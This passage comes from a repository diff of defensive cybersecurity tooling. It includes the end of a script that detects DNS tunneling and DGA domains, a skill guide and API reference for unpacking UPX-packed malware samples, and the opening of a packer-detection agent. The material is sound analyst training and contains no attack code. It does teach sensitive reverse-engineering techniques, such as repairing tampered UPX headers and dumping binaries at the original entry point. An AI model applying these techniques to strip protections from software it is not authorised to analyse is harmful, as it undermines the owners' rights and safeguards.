tunneling = detect_dns_tunneling(pcap)
|
||||
for t in tunneling[:10]:
|
||||
print(f" [!] {t['query']} (len={t['subdomain_length']}, ent={t['entropy']})")
|
||||
|
||||
print("\n--- DGA Domain Detection ---")
|
||||
dga = detect_dga_domains(pcap)
|
||||
for d in dga[:10]:
|
||||
print(f" [!] {d['domain']} (sld_len={d['length']}, ent={d['entropy']})")
|
||||
|
||||
print("\n--- Generated Suricata Rules ---")
|
||||
rules = generate_suricata_signatures(http_reqs, tunneling)
|
||||
for r in rules[:5]:
|
||||
print(f" {r}")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <malware_traffic.pcap>")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,311 @@
|
||||
---
|
||||
name: analyzing-packed-malware-with-upx-unpacker
|
||||
description: 'Identifies and unpacks UPX-packed malware samples, including binaries with modified UPX magic bytes or headers that block automated decompression, to recover the original executable for static analysis. Use when a sample shows high entropy, minimal imports, or only LoadLibrary/GetProcAddress in its import table, or when preparing a packed binary for disassembly in Ghidra or IDA.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- unpacking
|
||||
- UPX
|
||||
- packing
|
||||
- static-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1027.002
|
||||
- T1140
|
||||
- T1620
|
||||
---
|
||||
|
||||
# Analyzing Packed Malware with UPX Unpacker
|
||||
|
||||
## When to Use
|
||||
|
||||
- Static analysis reveals high entropy sections and minimal imports indicating the binary is packed
|
||||
- PEiD, Detect It Easy, or PEStudio identifies UPX or another known packer
|
||||
- The import table contains only LoadLibrary and GetProcAddress (runtime import resolution typical of packed binaries)
|
||||
- You need to recover the original binary for proper disassembly and decompilation in Ghidra or IDA
|
||||
- Automated UPX decompression fails because the malware author modified UPX magic bytes or headers
|
||||
|
||||
**Do not use** when dealing with custom packers, VM-based protectors (Themida, VMProtect), or samples where dynamic unpacking via debugging is more appropriate.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- UPX (Ultimate Packer for eXecutables) installed (`apt install upx-ucl` or download from https://upx.github.io/)
|
||||
- Detect It Easy (DIE) for packer identification
|
||||
- Python 3.8+ with `pefile` library for manual header repair
|
||||
- x64dbg or x32dbg for manual unpacking when automated tools fail
|
||||
- PE-bear or CFF Explorer for PE header inspection and repair
|
||||
- Isolated analysis VM without network connectivity
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify the Packer
|
||||
|
||||
Determine if the sample is packed and identify the packer:
|
||||
|
||||
```bash
|
||||
# Check with Detect It Easy
|
||||
diec suspect.exe
|
||||
|
||||
# Check with UPX (test without unpacking)
|
||||
upx -t suspect.exe
|
||||
|
||||
# Python-based entropy and packer detection
|
||||
python3 << 'PYEOF'
|
||||
import pefile
|
||||
import math
|
||||
|
||||
pe = pefile.PE("suspect.exe")
|
||||
|
||||
print("Section Analysis:")
|
||||
for section in pe.sections:
|
||||
name = section.Name.decode().rstrip('\x00')
|
||||
entropy = section.get_entropy()
|
||||
raw = section.SizeOfRawData
|
||||
virtual = section.Misc_VirtualSize
|
||||
print(f" {name:8s} Entropy: {entropy:.2f} Raw: {raw:>8} Virtual: {virtual:>8}")
|
||||
|
||||
# Check for UPX section names
|
||||
section_names = [s.Name.decode().rstrip('\x00') for s in pe.sections]
|
||||
if 'UPX0' in section_names or 'UPX1' in section_names:
|
||||
print("\n[!] UPX section names detected")
|
||||
elif '.upx' in [s.lower() for s in section_names]:
|
||||
print("\n[!] UPX variant section names detected")
|
||||
|
||||
# Check import count (packed binaries have very few)
|
||||
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
|
||||
total_imports = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT)
|
||||
print(f"\nTotal imports: {total_imports}")
|
||||
if total_imports < 10:
|
||||
print("[!] Very few imports - likely packed")
|
||||
else:
|
||||
print("\n[!] No import directory - heavily packed")
|
||||
PYEOF
|
||||
```
|
||||
|
||||
### Step 2: Attempt Standard UPX Decompression
|
||||
|
||||
Try the built-in UPX decompression:
|
||||
|
||||
```bash
|
||||
# Standard UPX decompress
|
||||
upx -d suspect.exe -o unpacked.exe
|
||||
|
||||
# If UPX fails with "not packed by UPX" error, the headers may be modified
|
||||
# Verbose output for debugging
|
||||
upx -d suspect.exe -o unpacked.exe -v 2>&1
|
||||
|
||||
# Verify the unpacked file
|
||||
file unpacked.exe
|
||||
diec unpacked.exe
|
||||
```
|
||||
|
||||
### Step 3: Repair Modified UPX Headers
|
||||
|
||||
If standard decompression fails, repair tampered magic bytes:
|
||||
|
||||
```python
|
||||
# Repair modified UPX headers
|
||||
import struct
|
||||
|
||||
with open("suspect.exe", "rb") as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
# UPX magic bytes: "UPX!" (0x55505821)
|
||||
# Malware authors commonly modify these to prevent automatic unpacking
|
||||
|
||||
# Search for modified UPX signatures
|
||||
upx_magic = b"UPX!"
|
||||
modified_patterns = [b"UPX0", b"UPX\x00", b"\x00PX!", b"UPx!"]
|
||||
|
||||
# Find and restore section names
|
||||
pe_offset = struct.unpack_from("<I", data, 0x3C)[0]
|
||||
num_sections = struct.unpack_from("<H", data, pe_offset + 6)[0]
|
||||
section_table_offset = pe_offset + 0x18 + struct.unpack_from("<H", data, pe_offset + 0x14)[0]
|
||||
|
||||
print(f"PE offset: 0x{pe_offset:X}")
|
||||
print(f"Number of sections: {num_sections}")
|
||||
print(f"Section table offset: 0x{section_table_offset:X}")
|
||||
|
||||
for i in range(num_sections):
|
||||
offset = section_table_offset + (i * 40)
|
||||
name = data[offset:offset+8]
|
||||
print(f"Section {i}: {name}")
|
||||
|
||||
# Restore UPX magic bytes in the binary
|
||||
# Search for the UPX header signature location (typically near the end of packed data)
|
||||
for i in range(len(data) - 4):
|
||||
if data[i:i+3] == b"UPX" and data[i+3] != ord("!"):
|
||||
print(f"Found modified UPX magic at offset 0x{i:X}: {data[i:i+4]}")
|
||||
data[i:i+4] = b"UPX!"
|
||||
print(f"Restored to: UPX!")
|
||||
|
||||
# Also restore section names if modified
|
||||
for i in range(num_sections):
|
||||
offset = section_table_offset + (i * 40)
|
||||
name = data[offset:offset+8].rstrip(b'\x00')
|
||||
if name in [b"UPX0", b"UPX1", b"UPX2"]:
|
||||
continue # Already correct
|
||||
# Check for common modifications
|
||||
if name.startswith(b"UP") or name.startswith(b"ux"):
|
||||
original = f"UPX{i}".encode().ljust(8, b'\x00')
|
||||
data[offset:offset+8] = original
|
||||
print(f"Restored section name at 0x{offset:X} to {original}")
|
||||
|
||||
with open("suspect_fixed.exe", "wb") as f:
|
||||
f.write(data)
|
||||
|
||||
print("\nFixed file written. Retry: upx -d suspect_fixed.exe -o unpacked.exe")
|
||||
```
|
||||
|
||||
### Step 4: Manual Unpacking with Debugger
|
||||
|
||||
When automated unpacking fails entirely, use dynamic unpacking:
|
||||
|
||||
```
|
||||
Manual UPX Unpacking with x64dbg:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
1. Load packed sample in x64dbg
|
||||
2. Run to the entry point (system breakpoint then F9)
|
||||
3. UPX unpacking stub pattern:
|
||||
a. PUSHAD (saves all registers)
|
||||
b. Decompression loop (processes packed sections)
|
||||
c. Resolves imports (LoadLibrary/GetProcAddress calls)
|
||||
d. POPAD (restores registers)
|
||||
e. JMP to OEP (original entry point)
|
||||
4. Set hardware breakpoint on ESP after PUSHAD:
|
||||
- After PUSHAD, right-click ESP in registers -> Follow in Dump
|
||||
- Set hardware breakpoint on access at [ESP] address
|
||||
- Run (F9) - breaks at POPAD before JMP to OEP
|
||||
5. Step forward (F7/F8) until you reach the JMP to OEP
|
||||
6. At OEP: Use Scylla plugin to dump and fix imports:
|
||||
- Plugins -> Scylla -> OEP = current EIP
|
||||
- Click "IAT Autosearch" -> "Get Imports"
|
||||
- Click "Dump" to save unpacked binary
|
||||
- Click "Fix Dump" to repair import table
|
||||
```
|
||||
|
||||
### Step 5: Validate Unpacked Binary
|
||||
|
||||
Verify the unpacked sample is valid and complete:
|
||||
|
||||
```bash
|
||||
# Verify unpacked PE is valid
|
||||
python3 << 'PYEOF'
|
||||
import pefile
|
||||
|
||||
pe = pefile.PE("unpacked.exe")
|
||||
|
||||
# Check sections are normal
|
||||
print("Unpacked Section Analysis:")
|
||||
for section in pe.sections:
|
||||
name = section.Name.decode().rstrip('\x00')
|
||||
entropy = section.get_entropy()
|
||||
print(f" {name:8s} Entropy: {entropy:.2f}")
|
||||
|
||||
# Verify imports are resolved
|
||||
print(f"\nImport count:")
|
||||
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
dll = entry.dll.decode()
|
||||
count = len(entry.imports)
|
||||
print(f" {dll}: {count} functions")
|
||||
total = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT)
|
||||
print(f" Total: {total} imports")
|
||||
|
||||
# Compare file sizes
|
||||
import os
|
||||
packed_size = os.path.getsize("suspect.exe")
|
||||
unpacked_size = os.path.getsize("unpacked.exe")
|
||||
print(f"\nPacked: {packed_size:>10} bytes")
|
||||
print(f"Unpacked: {unpacked_size:>10} bytes")
|
||||
print(f"Ratio: {unpacked_size/packed_size:.1f}x")
|
||||
PYEOF
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Packing** | Compressing or encrypting executable code to reduce file size and hinder static analysis; the binary contains an unpacking stub that restores code at runtime |
|
||||
| **UPX** | Ultimate Packer for eXecutables; open-source executable packer commonly abused by malware authors because it is free and effective |
|
||||
| **Original Entry Point (OEP)** | The real starting address of the malware code before packing; the unpacking stub decompresses code then jumps to the OEP |
|
||||
| **Import Reconstruction** | Process of rebuilding the import address table after dumping an unpacked process from memory using tools like Scylla or ImpRec |
|
||||
| **PUSHAD/POPAD** | x86 instructions that save/restore all general-purpose registers; UPX uses this pattern to preserve register state during unpacking |
|
||||
| **Section Entropy** | Randomness measure of PE section data; packed sections show entropy > 7.0 while normal code sections average 5.0-6.5 |
|
||||
| **Magic Bytes** | Signature bytes within a file identifying its format; UPX uses "UPX!" which malware authors modify to prevent automated decompression |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **UPX**: Open-source executable packer with built-in decompression capability for properly packed files
|
||||
- **Detect It Easy (DIE)**: Packer, compiler, and linker detection tool that identifies protection on PE, ELF, and Mach-O files
|
||||
- **x64dbg/x32dbg**: Open-source Windows debugger used for manual unpacking through dynamic execution and breakpoint-based OEP finding
|
||||
- **Scylla**: Import reconstruction tool integrated with x64dbg for rebuilding IAT after memory dumping
|
||||
- **PE-bear**: PE file viewer and editor for inspecting and repairing PE headers after unpacking
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Unpacking Malware with Modified UPX Headers
|
||||
|
||||
**Context**: A malware sample is identified as UPX-packed by section names (UPX0, UPX1) but `upx -d` fails with "CantUnpackException: header corrupted". The malware author modified the UPX magic bytes to prevent automated decompression.
|
||||
|
||||
**Approach**:
|
||||
1. Open the binary in a hex editor and search for the UPX header area (typically at the end of packed data)
|
||||
2. Identify the modified magic bytes (e.g., "UPX!" changed to "UPX\x00" or completely zeroed)
|
||||
3. Use the Python repair script to restore "UPX!" magic and correct section names
|
||||
4. Retry `upx -d` on the repaired binary
|
||||
5. If repair fails, fall back to manual unpacking with x64dbg (PUSHAD -> hardware BP on ESP -> POPAD -> JMP OEP)
|
||||
6. Validate the unpacked binary has proper imports and reasonable entropy values
|
||||
7. Import into Ghidra or IDA for full static analysis
|
||||
|
||||
**Pitfalls**:
|
||||
- Assuming UPX is the only packer; the binary may be double-packed (UPX + custom layer)
|
||||
- Modifying the original packed sample instead of working on a copy
|
||||
- Not reconstructing imports after manual memory dump (the dumped binary will crash without IAT fix)
|
||||
- Forgetting to check for overlay data appended after the UPX-packed PE sections
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
UNPACKING ANALYSIS REPORT
|
||||
===========================
|
||||
Sample: suspect.exe
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
Packer: UPX 3.96 (modified headers)
|
||||
|
||||
PACKED BINARY
|
||||
Sections: UPX0 (entropy: 0.00) UPX1 (entropy: 7.89) .rsrc (entropy: 3.45)
|
||||
Imports: 2 (kernel32.dll: LoadLibraryA, GetProcAddress)
|
||||
File Size: 98,304 bytes
|
||||
|
||||
UNPACKING METHOD
|
||||
Method: Header repair + UPX -d
|
||||
Header Fix: Restored UPX! magic at offset 0x1F000
|
||||
Command: upx -d suspect_fixed.exe -o unpacked.exe
|
||||
Result: SUCCESS
|
||||
|
||||
UNPACKED BINARY
|
||||
Sections: .text (entropy: 6.21) .rdata (entropy: 4.56) .data (entropy: 3.12) .rsrc (entropy: 3.45)
|
||||
Imports: 147 (kernel32, user32, advapi32, wininet, ws2_32)
|
||||
File Size: 245,760 bytes (2.5x expansion)
|
||||
OEP: 0x00401000
|
||||
|
||||
VALIDATION
|
||||
PE Valid: Yes
|
||||
Imports Resolved: Yes (147 functions across 8 DLLs)
|
||||
Executable: Yes (runs without crash in sandbox)
|
||||
|
||||
NEXT STEPS
|
||||
- Import unpacked.exe into Ghidra for full disassembly
|
||||
- Run YARA rules against unpacked binary
|
||||
- Submit unpacked binary to VirusTotal for improved detection
|
||||
```
|
||||
@@ -0,0 +1,117 @@
|
||||
# API Reference: Packed Malware and UPX Analysis
|
||||
|
||||
## UPX - Ultimate Packer for eXecutables
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
upx -d <packed_file> # Decompress/unpack
|
||||
upx -d -o <output> <packed_file> # Unpack to new file
|
||||
upx -t <file> # Test if packed
|
||||
upx -l <file> # List compression info
|
||||
upx --version # Version info
|
||||
```
|
||||
|
||||
### Output Format
|
||||
```
|
||||
File size Ratio Format Name
|
||||
-------------------- ------ ----------- -----------
|
||||
184320 <- 98304 53.33% win32/pe malware.exe
|
||||
```
|
||||
|
||||
## pefile - Python PE Analysis
|
||||
|
||||
### Usage
|
||||
```python
|
||||
import pefile
|
||||
|
||||
pe = pefile.PE("sample.exe")
|
||||
|
||||
# Section analysis
|
||||
for section in pe.sections:
|
||||
name = section.Name.rstrip(b"\x00").decode()
|
||||
entropy = section.get_entropy()
|
||||
print(f"{name}: entropy={entropy:.2f}")
|
||||
|
||||
# Import analysis
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
dll = entry.dll.decode()
|
||||
for imp in entry.imports:
|
||||
print(f"{dll}: {imp.name}")
|
||||
|
||||
pe.close()
|
||||
```
|
||||
|
||||
### Packing Indicators
|
||||
| Indicator | Threshold |
|
||||
|-----------|-----------|
|
||||
| Section entropy | > 7.0 (high, likely packed/encrypted) |
|
||||
| Import count | < 10 (few imports suggest packing) |
|
||||
| Virtual/Raw ratio | > 5x (large in-memory expansion) |
|
||||
| Section names | UPX0, UPX1, .packed, .nsp |
|
||||
|
||||
## Detect It Easy (DIE) - Packer Identification
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
diec <sample.exe> # CLI scan
|
||||
diec -j <sample.exe> # JSON output
|
||||
```
|
||||
|
||||
### Output
|
||||
```
|
||||
PE32 executable
|
||||
Packer: UPX(3.96)[NRV2B_LE32,best]
|
||||
Compiler: MSVC(2019)
|
||||
```
|
||||
|
||||
## PEiD - Packer Identification (Legacy)
|
||||
|
||||
### Packer Signatures Database
|
||||
| Packer | Section Names | Magic Bytes |
|
||||
|--------|---------------|-------------|
|
||||
| UPX | UPX0, UPX1, UPX2 | `UPX!` at end of file |
|
||||
| ASPack | .aspack, .adata | N/A |
|
||||
| PECompact | .pec1, .pec2 | N/A |
|
||||
| Themida | Various | Encrypted sections |
|
||||
| VMProtect | .vmp0, .vmp1 | Virtualized code |
|
||||
|
||||
## PEStudio - Static PE Analysis
|
||||
|
||||
### Key Indicators
|
||||
| Check | Description |
|
||||
|-------|-------------|
|
||||
| Entropy | Section-level entropy analysis |
|
||||
| Imports | API import analysis |
|
||||
| Strings | Embedded string extraction |
|
||||
| Signatures | Packer/compiler identification |
|
||||
| Virustotal | Hash-based lookup |
|
||||
|
||||
## x64dbg / x32dbg - Dynamic Unpacking
|
||||
|
||||
### Generic Unpacking Steps
|
||||
```
|
||||
1. Set breakpoint on VirtualAlloc / VirtualProtect
|
||||
2. Run until breakpoint
|
||||
3. Check memory map for new RWX regions
|
||||
4. Step until original entry point (OEP) reached
|
||||
5. Dump memory at OEP using Scylla plugin
|
||||
6. Fix import table with Scylla
|
||||
```
|
||||
|
||||
### Key API Breakpoints
|
||||
| API | Purpose |
|
||||
|-----|---------|
|
||||
| `VirtualAlloc` | Memory allocation for unpacked code |
|
||||
| `VirtualProtect` | Change memory protection (RWX) |
|
||||
| `LoadLibraryA` | Load DLLs for import resolution |
|
||||
| `GetProcAddress` | Resolve API addresses |
|
||||
| `NtWriteVirtualMemory` | Write unpacked code to memory |
|
||||
|
||||
## Entropy Interpretation
|
||||
|
||||
| Range | Interpretation |
|
||||
|-------|---------------|
|
||||
| 0-1 | Nearly empty/uniform data |
|
||||
| 1-5 | Normal code/data |
|
||||
| 5-7 | Compressed or obfuscated |
|
||||
| 7-8 | Encrypted or packed (maximum ~8.0) |
|
||||
@@ -0,0 +1,241 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Packed malware analysis agent for UPX and generic packer detection and unpacking."""
|
||||
|
||||
import subprocess
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import math
|
||||
from collections import Counter
|
||||
|
||||
try:
|
||||
import pefile
|
||||
HAS_PEFILE = True
|
||||
except ImportError:
|
||||
HAS_PEFILE = False
|
||||
|
||||
|
||||
def compute_hashes(filepath):
|
||||
"""Compute file hashes."""
|
||||
md5 = hashlib.md5()
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
md5.update(chunk)
|
||||
sha256.update(chunk)
|
||||
return {"md5": md5.hexdigest(), "sha256": sha256.hexdigest()}
|
||||
|
||||
|
||||
def calculate_entropy(data):
|
||||
"""Calculate Shannon entropy of binary data."""
|
||||
if not data:
|
||||
return 0.0
|
||||
counter = Counter(data)
|
||||
length = len(data)
|
||||
return round(-sum((c / length) * math.log2(c / length) for c in counter.values()), 4)
|
||||
|
||||
|
||||
def detect_upx(filepath):
|
||||
"""Check for UPX packing signatures in the binary."""
|
||||
indicators = []
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
if b"UPX!" in data:
|
||||
indicators.append("UPX! magic string found in binary")
|
||||
if b"UPX0" in data:
|
||||
indicators.append("UPX0 section name found")
|
||||
if b"UPX1" in data:
|
||||
indicators.append("UPX1 section name found")
|
||||
if b"UPX2" in data:
|
||||
indicators.append("UPX2 section name found")
|
||||
|
||||
# Check for corrupted/modified UPX headers
|
||||
upx_pos = data.find(b"UPX!")
|
||||
if upx_pos != -1:
|
||||
# UPX version info follows the magic
|
||||
if upx_pos + 24 <= len(data):
|
||||
version_byte = data[upx_pos + 4]
|
||||
indicators.append(f"UPX version byte: 0x{version_byte:02X}")
|
||||
return indicators
|
||||
|
||||
|
||||
def detect_generic_packing(filepath):
|
||||
"""Detect generic packing indicators using PE section analysis."""
|
||||
if not HAS_PEFILE:
|
||||
return {"error": "pefile not installed: pip install pefile"}
|
||||
try:
|
||||
pe = pefile.PE(filepath)
|
||||
except pefile.PEFormatError:
|
||||
return {"error": "Not a valid PE file"}
|
||||
|
||||
indicators = []
|
||||
sections = []
|
||||
high_entropy_count = 0
|
||||
|
||||
for section in pe.sections:
|
||||
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||
entropy = section.get_entropy()
|
||||
raw_size = section.SizeOfRawData
|
||||
virtual_size = section.Misc_VirtualSize
|
||||
sections.append({
|
||||
"name": name,
|
||||
"entropy": round(entropy, 4),
|
||||
"raw_size": raw_size,
|
||||
"virtual_size": virtual_size,
|
||||
"ratio": round(virtual_size / raw_size, 2) if raw_size > 0 else 0,
|
||||
})
|
||||
if entropy > 7.0:
|
||||
high_entropy_count += 1
|
||||
indicators.append(f"High entropy section: {name} ({entropy:.2f})")
|
||||
if virtual_size > raw_size * 5 and raw_size > 0:
|
||||
indicators.append(f"Suspicious size ratio in {name}: virtual/raw = {virtual_size/raw_size:.1f}x")
|
||||
|
||||
imports = []
|
||||
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
dll_name = entry.dll.decode("utf-8", errors="replace")
|
||||
func_count = len(entry.imports)
|
||||
imports.append({"dll": dll_name, "functions": func_count})
|
||||
|
||||
total_imports = sum(i["functions"] for i in imports)
|
||||
if total_imports < 10:
|
||||
